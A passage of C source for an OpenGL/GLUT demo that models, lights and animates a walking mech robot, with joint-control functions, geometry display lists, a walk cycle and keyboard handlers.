lat1 = (lat1 + LAT_RATE) % 360;
}
void
lat1Lower(void)
{
lat1 = (lat1 - LAT_RATE) % 360;
}
void
lat2Raise(void)
{
lat2 = (lat2 + LAT_RATE) % 360;
}
void
lat2Lower(void)
{
lat2 = (lat2 - LAT_RATE) % 360;
}
void
FireCannon(void)
{
fire = (fire + CANNON_RATE) % 360;
}
void
RaiseLeg1Forward(void)
{
hip11 = (hip11 + UPPER_LEG_RATE) % 360;
}
void
LowerLeg1Backwards(void)
{
hip11 = (hip11 - UPPER_LEG_RATE) % 360;
}
void
RaiseLeg1Outwards(void)
{
hip12 = (hip12 + UPPER_LEG_RATE_GROIN) % 360;
}
void
LowerLeg1Inwards(void)
{
hip12 = (hip12 - UPPER_LEG_RATE_GROIN) % 360;
}
void
RaiseLeg2Forward(void)
{
hip21 = (hip21 + UPPER_LEG_RATE) % 360;
}
void
LowerLeg2Backwards(void)
{
hip21 = (hip21 - UPPER_LEG_RATE) % 360;
}
void
RaiseLeg2Outwards(void)
{
hip22 = (hip22 + UPPER_LEG_RATE_GROIN) % 360;
}
void
LowerLeg2Inwards(void)
{
hip22 = (hip22 - UPPER_LEG_RATE_GROIN) % 360;
}
/* end of body motion functions */
/* start of light source position functions */
void
TurnRight(void)
{
turn = (turn - VIEW_TURN_RATE) % 360;
}
void
TurnLeft(void)
{
turn = (turn + VIEW_TURN_RATE) % 360;
}
void
TurnForwards(void)
{
turn1 = (turn1 - VIEW_TURN_RATE) % 360;
}
void
TurnBackwards(void)
{
turn1 = (turn1 + VIEW_TURN_RATE) % 360;
}
void
LightTurnRight(void)
{
lightturn = (lightturn + LIGHT_TURN_RATE) % 360;
}
void
LightTurnLeft(void)
{
lightturn = (lightturn - LIGHT_TURN_RATE) % 360;
}
void
LightForwards(void)
{
lightturn1 = (lightturn1 + LIGHT_TURN_RATE) % 360;
}
void
LightBackwards(void)
{
lightturn1 = (lightturn1 - LIGHT_TURN_RATE) % 360;
}
/* end of light source position functions */
/* start of geometric shape functions */
void
Box(float width, float height, float depth, char solid)
{
char i, j = 0;
float x = width / 2.0, y = height / 2.0, z = depth / 2.0;
for (i = 0; i < 4; i++) {
glRotatef(90.0, 0.0, 0.0, 1.0);
if (j) {
if (!solid)
glBegin(GL_LINE_LOOP);
else
glBegin(GL_QUADS);
glNormal3f(-1.0, 0.0, 0.0);
glVertex3f(-x, y, z);
glVertex3f(-x, -y, z);
glVertex3f(-x, -y, -z);
glVertex3f(-x, y, -z);
glEnd();
if (solid) {
glBegin(GL_TRIANGLES);
glNormal3f(0.0, 0.0, 1.0);
glVertex3f(0.0, 0.0, z);
glVertex3f(-x, y, z);
glVertex3f(-x, -y, z);
glNormal3f(0.0, 0.0, -1.0);
glVertex3f(0.0, 0.0, -z);
glVertex3f(-x, -y, -z);
glVertex3f(-x, y, -z);
glEnd();
}
j = 0;
} else {
if (!solid)
glBegin(GL_LINE_LOOP);
else
glBegin(GL_QUADS);
glNormal3f(-1.0, 0.0, 0.0);
glVertex3f(-y, x, z);
glVertex3f(-y, -x, z);
glVertex3f(-y, -x, -z);
glVertex3f(-y, x, -z);
glEnd();
if (solid) {
glBegin(GL_TRIANGLES);
glNormal3f(0.0, 0.0, 1.0);
glVertex3f(0.0, 0.0, z);
glVertex3f(-y, x, z);
glVertex3f(-y, -x, z);
glNormal3f(0.0, 0.0, -1.0);
glVertex3f(0.0, 0.0, -z);
glVertex3f(-y, -x, -z);
glVertex3f(-y, x, -z);
glEnd();
}
j = 1;
}
}
}
void
Octagon(float side, float height, char solid)
{
char j;
float x = sin(0.785398163) * side, y = side / 2.0, z = height / 2.0, c;
c = x + y;
for (j = 0; j < 8; j++) {
glTranslatef(-c, 0.0, 0.0);
if (!solid)
glBegin(GL_LINE_LOOP);
else
glBegin(GL_QUADS);
glNormal3f(-1.0, 0.0, 0.0);
glVertex3f(0.0, -y, z);
glVertex3f(0.0, y, z);
glVertex3f(0.0, y, -z);
glVertex3f(0.0, -y, -z);
glEnd();
glTranslatef(c, 0.0, 0.0);
if (solid) {
glBegin(GL_TRIANGLES);
glNormal3f(0.0, 0.0, 1.0);
glVertex3f(0.0, 0.0, z);
glVertex3f(-c, -y, z);
glVertex3f(-c, y, z);
glNormal3f(0.0, 0.0, -1.0);
glVertex3f(0.0, 0.0, -z);
glVertex3f(-c, y, -z);
glVertex3f(-c, -y, -z);
glEnd();
}
glRotatef(45.0, 0.0, 0.0, 1.0);
}
}
/* end of geometric shape functions */
#ifdef NORM
void
Normalize(float v[3])
{
GLfloat d = sqrt(v[1] * v[1] + v[2] * v[2] + v[3] * v[3]);
if (d == 0.0) {
printf("zero length vector");
return;
}
v[1] /= d;
v[2] /= d;
v[3] /= d;
}
void
NormXprod(float v1[3], float v2[3], float v[3], float out[3])
{
GLint i, j;
GLfloat length;
out[0] = v1[1] * v2[2] - v1[2] * v2[1];
out[1] = v1[2] * v2[0] - v1[0] * v2[2];
out[2] = v1[0] * v2[1] - v1[1] * v2[0];
Normalize(out);
}
#endif
void
SetMaterial(GLfloat spec[], GLfloat amb[], GLfloat diff[], GLfloat shin[])
{
glMaterialfv(GL_FRONT, GL_SPECULAR, spec);
glMaterialfv(GL_FRONT, GL_SHININESS, shin);
glMaterialfv(GL_FRONT, GL_AMBIENT, amb);
glMaterialfv(GL_FRONT, GL_DIFFUSE, diff);
}
void
MechTorso(char solid)
{
glNewList(SOLID_MECH_TORSO, GL_COMPILE);
#ifdef LIGHT
SetMaterial(mat_specular, mat_ambient, mat_diffuse, mat_shininess);
#endif
glColor3f(1.0, 1.0, 0.0);
Box(1.0, 1.0, 3.0, solid);
glTranslatef(0.75, 0.0, 0.0);
#ifdef LIGHT
SetMaterial(mat_specular2, mat_ambient2, mat_diffuse2, mat_shininess2);
#endif
glColor3f(0.5, 0.5, 0.5);
Box(0.5, 0.6, 2.0, solid);
glTranslatef(-1.5, 0.0, 0.0);
Box(0.5, 0.6, 2.0, solid);
glTranslatef(0.75, 0.0, 0.0);
glEndList();
}
void
MechHip(char solid)
{
int i;
glNewList(SOLID_MECH_HIP, GL_COMPILE);
#ifdef LIGHT
SetMaterial(mat_specular, mat_ambient, mat_diffuse, mat_shininess);
#endif
glColor3f(1.0, 1.0, 0.0);
Octagon(0.7, 0.5, solid);
#ifdef SPHERE
for (i = 0; i < 2; i++) {
if (i)
glScalef(-1.0, 1.0, 1.0);
glTranslatef(1.0, 0.0, 0.0);
#ifdef LIGHT
SetMaterial(mat_specular2, mat_ambient2, mat_diffuse2, mat_shininess2);
#endif
glColor3f(0.5, 0.5, 0.5);
if (!solid)
gluQuadricDrawStyle(qobj, GLU_LINE);
gluSphere(qobj, 0.2, 16, 16);
glTranslatef(-1.0, 0.0, 0.0);
}
glScalef(-1.0, 1.0, 1.0);
#endif
glEndList();
}
void
Shoulder(char solid)
{
glNewList(SOLID_MECH_SHOULDER, GL_COMPILE);
#ifdef LIGHT
SetMaterial(mat_specular, mat_ambient, mat_diffuse, mat_shininess);
#endif
glColor3f(1.0, 1.0, 0.0);
Box(1.0, 0.5, 0.5, solid);
glTranslatef(0.9, 0.0, 0.0);
#ifdef LIGHT
SetMaterial(mat_specular2, mat_ambient2, mat_diffuse2, mat_shininess2);
#endif
glColor3f(0.5, 0.5, 0.5);
#ifdef SPHERE
if (!solid)
gluQuadricDrawStyle(qobj, GLU_LINE);
gluSphere(qobj, 0.6, 16, 16);
#endif
glTranslatef(-0.9, 0.0, 0.0);
glEndList();
}
void
UpperArm(char solid)
{
int i;
glNewList(SOLID_MECH_UPPER_ARM, GL_COMPILE);
#ifdef LIGHT
SetMaterial(mat_specular, mat_ambient, mat_diffuse, mat_shininess);
#endif
glColor3f(1.0, 1.0, 0.0);
Box(1.0, 2.0, 1.0, solid);
glTranslatef(0.0, -0.95, 0.0);
glRotatef(90.0, 1.0, 0.0, 0.0);
#ifdef LIGHT
SetMaterial(mat_specular2, mat_ambient2, mat_diffuse2, mat_shininess2);
#endif
glColor3f(0.5, 0.5, 0.5);
if (!solid)
gluQuadricDrawStyle(qobj, GLU_LINE);
gluCylinder(qobj, 0.4, 0.4, 1.5, 16, 10);
#ifdef LIGHT
SetMaterial(mat_specular, mat_ambient, mat_diffuse, mat_shininess);
#endif
glColor3f(1.0, 1.0, 0.0);
glRotatef(-90.0, 1.0, 0.0, 0.0);
glTranslatef(-0.4, -1.85, 0.0);
glRotatef(90.0, 0.0, 1.0, 0.0);
for (i = 0; i < 2; i++) {
if (!solid)
gluQuadricDrawStyle(qobj, GLU_LINE);
if (i)
gluCylinder(qobj, 0.5, 0.5, 0.8, 16, 10);
else
gluCylinder(qobj, 0.2, 0.2, 0.8, 16, 10);
}
for (i = 0; i < 2; i++) {
if (i)
glScalef(-1.0, 1.0, 1.0);
if (!solid)
gluQuadricDrawStyle(qobj, GLU_LINE);
if (i)
glTranslatef(0.0, 0.0, 0.8);
gluDisk(qobj, 0.2, 0.5, 16, 10);
if (i)
glTranslatef(0.0, 0.0, -0.8);
}
glScalef(-1.0, 1.0, 1.0);
glRotatef(-90.0, 0.0, 1.0, 0.0);
glTranslatef(0.4, 2.9, 0.0);
glEndList();
}
void
VulcanGun(char solid)
{
int i;
glNewList(SOLID_MECH_VULCAN, GL_COMPILE);
#ifdef LIGHT
SetMaterial(mat_specular2, mat_ambient2, mat_diffuse2, mat_shininess2);
#endif
glColor3f(0.5, 0.5, 0.5);
if (!solid) {
gluQuadricDrawStyle(qobj, GLU_LINE);
}
gluCylinder(qobj, 0.5, 0.5, 0.5, 16, 10);
glTranslatef(0.0, 0.0, 0.5);
gluDisk(qobj, 0.0, 0.5, 16, 10);
for (i = 0; i < 5; i++) {
glRotatef(72.0, 0.0, 0.0, 1.0);
glTranslatef(0.0, 0.3, 0.0);
if (!solid) {
gluQuadricDrawStyle(qobj, GLU_LINE);
}
gluCylinder(qobj, 0.15, 0.15, 2.0, 16, 10);
gluCylinder(qobj, 0.06, 0.06, 2.0, 16, 10);
glTranslatef(0.0, 0.0, 2.0);
gluDisk(qobj, 0.1, 0.15, 16, 10);
gluCylinder(qobj, 0.1, 0.1, 0.1, 16, 5);
glTranslatef(0.0, 0.0, 0.1);
gluDisk(qobj, 0.06, 0.1, 16, 5);
glTranslatef(0.0, -0.3, -2.1);
}
glEndList();
}
void
ForeArm(char solid)
{
char i;
glNewList(SOLID_MECH_FOREARM, GL_COMPILE);
#ifdef LIGHT
SetMaterial(mat_specular, mat_ambient, mat_diffuse, mat_shininess);
#endif
glColor3f(1.0, 1.0, 0.0);
for (i = 0; i < 5; i++) {
glTranslatef(0.0, -0.1, -0.15);
Box(0.6, 0.8, 0.2, solid);
glTranslatef(0.0, 0.1, -0.15);
Box(0.4, 0.6, 0.1, solid);
}
glTranslatef(0.0, 0.0, 2.45);
Box(1.0, 1.0, 2.0, solid);
glTranslatef(0.0, 0.0, -1.0);
glEndList();
}
void
UpperLeg(char solid)
{
int i;
glNewList(SOLID_MECH_UPPER_LEG, GL_COMPILE);
#ifdef LIGHT
SetMaterial(mat_specular, mat_ambient, mat_diffuse, mat_shininess);
#endif
glColor3f(1.0, 1.0, 0.0);
if (!solid) {
gluQuadricDrawStyle(qobj, GLU_LINE);
}
glTranslatef(0.0, -1.0, 0.0);
Box(0.4, 1.0, 0.7, solid);
glTranslatef(0.0, -0.65, 0.0);
for (i = 0; i < 5; i++) {
Box(1.2, 0.3, 1.2, solid);
glTranslatef(0.0, -0.2, 0.0);
Box(1.0, 0.1, 1.0, solid);
glTranslatef(0.0, -0.2, 0.0);
}
glTranslatef(0.0, -0.15, -0.4);
Box(2.0, 0.5, 2.0, solid);
glTranslatef(0.0, -0.3, -0.2);
glRotatef(90.0, 1.0, 0.0, 0.0);
#ifdef LIGHT
SetMaterial(mat_specular2, mat_ambient2, mat_diffuse2, mat_shininess2);
#endif
glColor3f(0.5, 0.5, 0.5);
gluCylinder(qobj, 0.6, 0.6, 3.0, 16, 10);
#ifdef LIGHT
SetMaterial(mat_specular, mat_ambient, mat_diffuse, mat_shininess);
#endif
glColor3f(1.0, 1.0, 0.0);
glRotatef(-90.0, 1.0, 0.0, 0.0);
glTranslatef(0.0, -1.5, 1.0);
Box(1.5, 3.0, 0.5, solid);
glTranslatef(0.0, -1.75, -0.8);
Box(2.0, 0.5, 2.0, solid);
glTranslatef(0.0, -0.9, -0.85);
#ifdef LIGHT
SetMaterial(mat_specular2, mat_ambient2, mat_diffuse2, mat_shininess2);
#endif
glColor3f(0.5, 0.5, 0.5);
gluCylinder(qobj, 0.8, 0.8, 1.8, 16, 10);
for (i = 0; i < 2; i++) {
if (i)
glScalef(-1.0, 1.0, 1.0);
if (!solid)
gluQuadricDrawStyle(qobj, GLU_LINE);
if (i)
glTranslatef(0.0, 0.0, 1.8);
gluDisk(qobj, 0.0, 0.8, 16, 10);
if (i)
glTranslatef(0.0, 0.0, -1.8);
}
glScalef(-1.0, 1.0, 1.0);
glEndList();
}
void
Foot(char solid)
{
glNewList(SOLID_MECH_FOOT, GL_COMPILE);
#ifdef LIGHT
SetMaterial(mat_specular2, mat_ambient2, mat_diffuse2, mat_shininess2);
#endif
glColor3f(0.5, 0.5, 0.5);
glRotatef(90.0, 1.0, 0.0, 0.0);
Octagon(1.5, 0.6, solid);
glRotatef(-90.0, 1.0, 0.0, 0.0);
glEndList();
}
void
LowerLeg(char solid)
{
float k, l;
#ifdef LIGHT
SetMaterial(mat_specular, mat_ambient, mat_diffuse, mat_shininess);
#endif
glColor3f(1.0, 1.0, 0.0);
for (k = 0.0; k < 2.0; k++) {
for (l = 0.0; l < 2.0; l++) {
glPushMatrix();
glTranslatef(k, 0.0, l);
#ifdef LIGHT
SetMaterial(mat_specular, mat_ambient, mat_diffuse, mat_shininess);
#endif
glColor3f(1.0, 1.0, 0.0);
Box(1.0, 0.5, 1.0, solid);
glTranslatef(0.0, -0.45, 0.0);
#ifdef LIGHT
SetMaterial(mat_specular2, mat_ambient2, mat_diffuse2, mat_shininess2);
#endif
glColor3f(0.5, 0.5, 0.5);
#ifdef SPHERE
if (!solid)
glutWireSphere(0.2, 16, 10);
else
glutSolidSphere(0.2, 16, 10);
#endif
if (leg)
glRotatef((GLfloat) heel1, 1.0, 0.0, 0.0);
else
glRotatef((GLfloat) heel2, 1.0, 0.0, 0.0);
/* glTranslatef(0.0, -0.2, 0.0); */
glTranslatef(0.0, -1.7, 0.0);
#ifdef LIGHT
SetMaterial(mat_specular, mat_ambient, mat_diffuse, mat_shininess);
#endif
glColor3f(1.0, 1.0, 0.0);
Box(0.25, 3.0, 0.25, solid);
glTranslatef(0.0, -1.7, 0.0);
#ifdef LIGHT
SetMaterial(mat_specular2, mat_ambient2, mat_diffuse2, mat_shininess2);
#endif
glColor3f(0.5, 0.5, 0.5);
#ifdef SPHERE
if (!solid)
glutWireSphere(0.2, 16, 10);
else
glutSolidSphere(0.2, 16, 10);
#endif
if (leg)
glRotatef((GLfloat) - heel1, 1.0, 0.0, 0.0);
else
glRotatef((GLfloat) - heel2, 1.0, 0.0, 0.0);
glTranslatef(0.0, -0.45, 0.0);
#ifdef LIGHT
SetMaterial(mat_specular, mat_ambient, mat_diffuse, mat_shininess);
#endif
glColor3f(1.0, 1.0, 0.0);
Box(1.0, 0.5, 1.0, solid);
if (!k && !l) {
int j;
glTranslatef(-0.4, -0.8, 0.5);
if (leg)
glRotatef((GLfloat) ankle1, 1.0, 0.0, 0.0);
else
glRotatef((GLfloat) ankle2, 1.0, 0.0, 0.0);
glRotatef(90.0, 0.0, 1.0, 0.0);
if (!solid)
gluQuadricDrawStyle(qobj, GLU_LINE);
gluCylinder(qobj, 0.8, 0.8, 1.8, 16, 10);
for (j = 0; j < 2; j++) {
if (!solid)
gluQuadricDrawStyle(qobj, GLU_LINE);
if (j) {
glScalef(-1.0, 1.0, 1.0);
glTranslatef(0.0, 0.0, 1.8);
}
gluDisk(qobj, 0.0, 0.8, 16, 10);
if (j)
glTranslatef(0.0, 0.0, -1.8);
}
glScalef(-1.0, 1.0, 1.0);
glRotatef(-90.0, 0.0, 1.0, 0.0);
glTranslatef(0.95, -0.8, 0.0);
glCallList(SOLID_MECH_FOOT);
}
glPopMatrix();
}
}
}
void
RocketPod(char solid)
{
int i, j, k = 0;
glNewList(SOLID_MECH_ROCKET, GL_COMPILE);
#ifdef LIGHT
SetMaterial(mat_specular2, mat_ambient2, mat_diffuse2, mat_shininess2);
#endif
glColor3f(0.5, 0.5, 0.5);
glScalef(0.4, 0.4, 0.4);
glRotatef(45.0, 0.0, 0.0, 1.0);
glTranslatef(1.0, 0.0, 0.0);
Box(2.0, 0.5, 3.0, solid);
glTranslatef(1.0, 0.0, 0.0);
glRotatef(45.0, 0.0, 0.0, 1.0);
glTranslatef(0.5, 0.0, 0.0);
Box(1.2, 0.5, 3.0, solid);
glTranslatef(2.1, 0.0, 0.0);
glRotatef(-90.0, 0.0, 0.0, 1.0);
#ifdef LIGHT
SetMaterial(mat_specular, mat_ambient, mat_diffuse, mat_shininess);
#endif
glColor3f(1.0, 1.0, 0.0);
Box(2.0, 3.0, 4.0, solid);
glTranslatef(-0.5, -1.0, 1.3);
for (i = 0; i < 2; i++) {
for (j = 0; j < 3; j++) {
if (!solid) {
gluQuadricDrawStyle(qobj, GLU_LINE);
}
glTranslatef(i, j, 0.6);
#ifdef LIGHT
SetMaterial(mat_specular3, mat_ambient3, mat_diffuse3, mat_shininess3);
#endif
glColor3f(1.0, 1.0, 1.0);
gluCylinder(qobj, 0.4, 0.4, 0.3, 16, 10);
glTranslatef(0.0, 0.0, 0.3);
#ifdef LIGHT
SetMaterial(mat_specular4, mat_ambient4, mat_diffuse4, mat_shininess4);
#endif
glColor3f(0.0, 1.0, 0.0);
gluCylinder(qobj, 0.4, 0.0, 0.5, 16, 10);
k++;
glTranslatef(-i, -j, -0.9);
}
}
glEndList();
}
void
Enviro(char solid)
{
int i, j;
glNewList(SOLID_ENVIRO, GL_COMPILE);
SetMaterial(mat_specular4, mat_ambient4, mat_diffuse4, mat_shininess4);
glColor3f(0.0, 1.0, 0.0);
Box(20.0, 0.5, 30.0, solid);
SetMaterial(mat_specular4, mat_ambient3, mat_diffuse2, mat_shininess);
glColor3f(0.6, 0.6, 0.6);
glTranslatef(0.0, 0.0, -10.0);
for (j = 0; j < 6; j++) {
for (i = 0; i < 2; i++) {
if (i)
glScalef(-1.0, 1.0, 1.0);
glTranslatef(10.0, 4.0, 0.0);
Box(4.0, 8.0, 2.0, solid);
glTranslatef(0.0, -1.0, -3.0);
Box(4.0, 6.0, 2.0, solid);
glTranslatef(-10.0, -3.0, 3.0);
}
glScalef(-1.0, 1.0, 1.0);
glTranslatef(0.0, 0.0, 5.0);
}
glEndList();
}
void
Toggle(void)
{
if (solid_part)
solid_part = 0;
else
solid_part = 1;
}
void
disable(void)
{
glDisable(GL_LIGHTING);
glDisable(GL_DEPTH_TEST);
glDisable(GL_NORMALIZE);
glPolygonMode(GL_FRONT_AND_BACK, GL_LINE);
}
void
lighting(void)
{
GLfloat position[] =
{0.0, 0.0, 2.0, 1.0};
#ifdef MOVE_LIGHT
glRotatef((GLfloat) lightturn1, 1.0, 0.0, 0.0);
glRotatef((GLfloat) lightturn, 0.0, 1.0, 0.0);
glRotatef(0.0, 1.0, 0.0, 0.0);
#endif
glEnable(GL_LIGHTING);
glEnable(GL_LIGHT0);
glEnable(GL_NORMALIZE);
glDepthFunc(GL_LESS);
glPolygonMode(GL_FRONT_AND_BACK, GL_FILL);
glLightfv(GL_LIGHT0, GL_POSITION, position);
glLightf(GL_LIGHT0, GL_SPOT_CUTOFF, 80.0);
glTranslatef(0.0, 0.0, 2.0);
glDisable(GL_LIGHTING);
Box(0.1, 0.1, 0.1, 0);
glEnable(GL_LIGHTING);
}
void
DrawMech(void)
{
int i, j;
glScalef(0.5, 0.5, 0.5);
glPushMatrix();
glTranslatef(0.0, -0.75, 0.0);
glRotatef((GLfloat) tilt, 1.0, 0.0, 0.0);
glRotatef(90.0, 1.0, 0.0, 0.0);
#ifdef HIP
glCallList(SOLID_MECH_HIP);
#endif
glRotatef(-90.0, 1.0, 0.0, 0.0);
glTranslatef(0.0, 0.75, 0.0);
glPushMatrix();
glRotatef((GLfloat) pivot, 0.0, 1.0, 0.0);
glPushMatrix();
#ifdef TORSO
glCallList(SOLID_MECH_TORSO);
#endif
glPopMatrix();
glPushMatrix();
glTranslatef(0.5, 0.5, 0.0);
#ifdef ROCKET_POD
glCallList(SOLID_MECH_ROCKET);
#endif
glPopMatrix();
for (i = 0; i < 2; i++) {
glPushMatrix();
if (i)
glScalef(-1.0, 1.0, 1.0);
glTranslatef(1.5, 0.0, 0.0);
#ifdef SHOULDER
glCallList(SOLID_MECH_SHOULDER);
#endif
glTranslatef(0.9, 0.0, 0.0);
if (i) {
glRotatef((GLfloat) lat1, 0.0, 0.0, 1.0);
glRotatef((GLfloat) shoulder1, 1.0, 0.0, 0.0);
glRotatef((GLfloat) shoulder3, 0.0, 1.0, 0.0);
} else {
glRotatef((GLfloat) lat2, 0.0, 0.0, 1.0);
glRotatef((GLfloat) shoulder2, 1.0, 0.0, 0.0);
glRotatef((GLfloat) shoulder4, 0.0, 1.0, 0.0);
}
glTranslatef(0.0, -1.4, 0.0);
#ifdef UPPER_ARM
glCallList(SOLID_MECH_UPPER_ARM);
#endif
glTranslatef(0.0, -2.9, 0.0);
if (i)
glRotatef((GLfloat) elbow1, 1.0, 0.0, 0.0);
else
glRotatef((GLfloat) elbow2, 1.0, 0.0, 0.0);
glTranslatef(0.0, -0.9, -0.2);
#ifdef LOWER_ARM
glCallList(SOLID_MECH_FOREARM);
glPushMatrix();
glTranslatef(0.0, 0.0, 2.0);
glRotatef((GLfloat) fire, 0.0, 0.0, 1.0);
glCallList(SOLID_MECH_VULCAN);
glPopMatrix();
#endif
glPopMatrix();
}
glPopMatrix();
glPopMatrix();
for (j = 0; j < 2; j++) {
glPushMatrix();
if (j) {
glScalef(-0.5, 0.5, 0.5);
leg = 1;
} else {
glScalef(0.5, 0.5, 0.5);
leg = 0;
}
glTranslatef(2.0, -1.5, 0.0);
if (j) {
glRotatef((GLfloat) hip11, 1.0, 0.0, 0.0);
glRotatef((GLfloat) hip12, 0.0, 0.0, 1.0);
} else {
glRotatef((GLfloat) hip21, 1.0, 0.0, 0.0);
glRotatef((GLfloat) hip22, 0.0, 0.0, 1.0);
}
glTranslatef(0.0, 0.3, 0.0);
#ifdef UPPER_LEG
glPushMatrix();
glCallList(SOLID_MECH_UPPER_LEG);
glPopMatrix();
#endif
glTranslatef(0.0, -8.3, -0.4);
if (j)
glRotatef((GLfloat) - hip12, 0.0, 0.0, 1.0);
else
glRotatef((GLfloat) - hip22, 0.0, 0.0, 1.0);
glTranslatef(-0.5, -0.85, -0.5);
#ifdef LOWER_LEG
LowerLeg(1);
#endif
glPopMatrix();
}
}
void
display(void)
{
glClearColor(0.0, 0.0, 0.0, 0.0);
glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT);
glEnable(GL_DEPTH_TEST);
glPushMatrix();
glRotatef((GLfloat) turn, 0.0, 1.0, 0.0);
glRotatef((GLfloat) turn1, 1.0, 0.0, 0.0);
#ifdef LIGHT
if (solid_part) {
glPushMatrix();
lighting();
glPopMatrix();
} else
disable();
#endif
#ifdef DRAW_MECH
glPushMatrix();
glTranslatef(0.0, elevation, 0.0);
DrawMech();
glPopMatrix();
#endif
#ifdef DRAW_ENVIRO
glPushMatrix();
if (distance >= 20.136)
distance = 0.0;
glTranslatef(0.0, -5.0, -distance);
glCallList(SOLID_ENVIRO);
glTranslatef(0.0, 0.0, 10.0);
glCallList(SOLID_ENVIRO);
glPopMatrix();
#endif
glPopMatrix();
glFlush();
glutSwapBuffers();
}
void
myinit(void)
{
char i = 1;
qobj = gluNewQuadric();
#ifdef LIGHT
SetMaterial(mat_specular2, mat_ambient2, mat_diffuse2, mat_shininess2);
#endif
glEnable(GL_DEPTH_TEST);
MechTorso(i);
MechHip(i);
Shoulder(i);
RocketPod(i);
UpperArm(i);
ForeArm(i);
UpperLeg(i);
Foot(i);
VulcanGun(i);
Enviro(i);
}
void
myReshape(int w, int h)
{
glViewport(0, 0, w, h);
glMatrixMode(GL_PROJECTION);
glLoadIdentity();
gluPerspective(65.0, (GLfloat) w / (GLfloat) h, 1.0, 20.0);
glMatrixMode(GL_MODELVIEW);
glLoadIdentity();
glTranslatef(0.0, 1.2, -5.5); /* viewing transform */
}
#ifdef ANIMATION
void
animation_walk(void)
{
float angle;
static int step;
if (step == 0 || step == 2) {
/* for(frame=3.0; frame<=21.0; frame=frame+3.0){ */
if (frame >= 0.0 && frame <= 21.0) {
if (frame == 0.0)
frame = 3.0;
angle = (180 / M_PI) * (acos(((cos((M_PI / 180) * frame) * 2.043) + 1.1625) / 3.2059));
if (frame > 0) {
elevation = -(3.2055 - (cos((M_PI / 180) * angle) * 3.2055));
} else
elevation = 0.0;
if (step == 0) {
hip11 = -(frame * 1.7);
if (1.7 * frame > 15)
heel1 = frame * 1.7;
heel2 = 0;
ankle1 = frame * 1.7;
if (frame > 0)
hip21 = angle;
else
hip21 = 0;
ankle2 = -hip21;
shoulder1 = frame * 1.5;
shoulder2 = -frame * 1.5;
elbow1 = frame;
elbow2 = -frame;
} else {
hip21 = -(frame * 1.7);
if (1.7 * frame > 15)
heel2 = frame * 1.7;
heel1 = 0;
ankle2 = frame * 1.7;
if (frame > 0)
hip11 = angle;
else
hip11 = 0;
ankle1 = -hip11;
shoulder1 = -frame * 1.5;
shoulder2 = frame * 1.5;
elbow1 = -frame;
elbow2 = frame;
}
if (frame == 21)
step++;
if (frame < 21)
frame = frame + 3.0;
}
}
if (step == 1 || step == 3) {
/* for(x=21.0; x>=0.0; x=x-3.0){ */
if (frame <= 21.0 && frame >= 0.0) {
angle = (180 / M_PI) * (acos(((cos((M_PI / 180) * frame) * 2.043) + 1.1625) / 3.2029));
if (frame > 0)
elevation = -(3.2055 - (cos((M_PI / 180) * angle) * 3.2055));
else
elevation = 0.0;
if (step == 1) {
elbow2 = hip11 = -frame;
elbow1 = heel1 = frame;
heel2 = 15;
ankle1 = frame;
if (frame > 0)
hip21 = angle;
else
hip21 = 0;
ankle2 = -hip21;
shoulder1 = 1.5 * frame;
shoulder2 = -frame * 1.5;
} else {
elbow1 = hip21 = -frame;
elbow2 = heel2 = frame;
heel1 = 15;
ankle2 = frame;
if (frame > 0)
hip11 = angle;
else
hip11 = 0;
ankle1 = -hip11;
shoulder1 = -frame * 1.5;
shoulder2 = frame * 1.5;
}
if (frame == 0.0)
step++;
if (frame > 0)
frame = frame - 3.0;
}
}
if (step == 4)
step = 0;
distance += 0.1678;
glutPostRedisplay();
}
void
animation(void)
{
animation_walk();
}
#endif
#ifdef GLUT
#ifdef GLUT_KEY
/* ARGSUSED1 */
void
keyboard(unsigned char key, int x, int y)
{
int i = 0;
switch (key) {
/* start arm control functions */
case 'q':{
shoulder2Subtract();
i++;
}
break;
case 'a':{
shoulder2Add();
i++;
}
break;
case 'w':{
shoulder1Subtract();
i++;
}
break;
case 's':{
shoulder1Add();
i++;
}
break;
case '2':{
shoulder3Add();
i++;
}
break;
case '1':{
shoulder4Add();
i++;
}
break;
case '4':{
shoulder3Subtract();
i++;
}
break;
case '3':{
shoulder4Subtract();
i++;
}
break;
case 'z':{
lat2Raise();
i++;
}
break;
case 'Z':{
lat2Lower();
i++;
}
break;
case 'x':{
lat1Raise();
i++;
}
break;
case 'X':{
lat1Lower();
i++;
}
break;
case 'A':{
elbow2Add();
i++;
}
break;
case 'Q':{
elbow2Subtract();
i++;
}
break;
case 'S':{
elbow1Add();
i++;
}
break;
case 'W':{
elbow1Subtract();
i++;
}
break;
/* end of arm control functions */
/* start of torso control functions */
case 'd':{
RotateAdd();
i++;
}
break;
case 'g':{
RotateSubtract();
i++;
}
break;
case 'r':{
MechTiltAdd();
i++;
}
break;
case 'f':{
MechTiltSubtract();
i++;
}
break;
/* end of torso control functions */
/* start of leg control functions */
case 'h':{
RaiseLeg2Forward();
i++;
}
break;
case 'y':{
LowerLeg2Backwards();
i++;
}
break;
case 'Y':{
RaiseLeg2Outwards();
i++;
}
break;
case 'H':{
LowerLeg2Inwards();
i++;
}
break;
case 'j':{
RaiseLeg1Forward();
i++;
}
break;
case 'u':{
LowerLeg1Backwards();
i++;
}
break;
case 'U':{
RaiseLeg1Outwards();
i++;
}
break;
case 'J':{
LowerLeg1Inwards();
i++;
}
break;
case 'N':{
Heel2Add();
i++;
}
break;
case 'n':{
Heel2Subtract();
i++;
}
break;
case 'M':{
Heel1Add();
i++;
}
break;
case 'm':{
Heel1Subtract();
i++;
}
break;
case 'k':{
Ankle2Add();
i++;
}
break;
case 'K':{
Ankle2Subtract();
i++;
}
break;
case 'l':{
Ankle1Add();
i++;
}
break;
case 'L':{
Ankle1Subtract();
i++;
}
break;
/* end of leg control functions */
/* start of light source position functions */
case 'p':{
LightTurnRight();
i++;
}
break;
case 'i':{
LightTurnLeft();
i++;
}
break;
case 'o':{
LightForwards();
i++;
}
break;
case '9':{
LightBackwards();
i++;
}
break;
/* end of light source position functions */
}
if (i)
glutPostRedisplay();
}
#endif
#ifdef GLUT_SPEC
/* ARGSUSED1 */
void
special(int key, int x, int y)
{
int i = 0;
switch (key) {
/* start of view position functions */
case GLUT_KEY_RIGHT:{
TurnRight();
i++;
}
break;
case GLUT_KEY_LEFT:{
TurnLeft();
i++;
}
break;
case GLUT_KEY_DOWN:{
TurnForwards();
i++;
}
break;
case GLUT_KEY_UP:{
TurnBackwards();
i++;
}
break;
/* end of view postions functions */
/* start of miseclleneous functions */
case GLUT_KEY_PAGE_UP:{
FireCannon();
i++;
}
break;
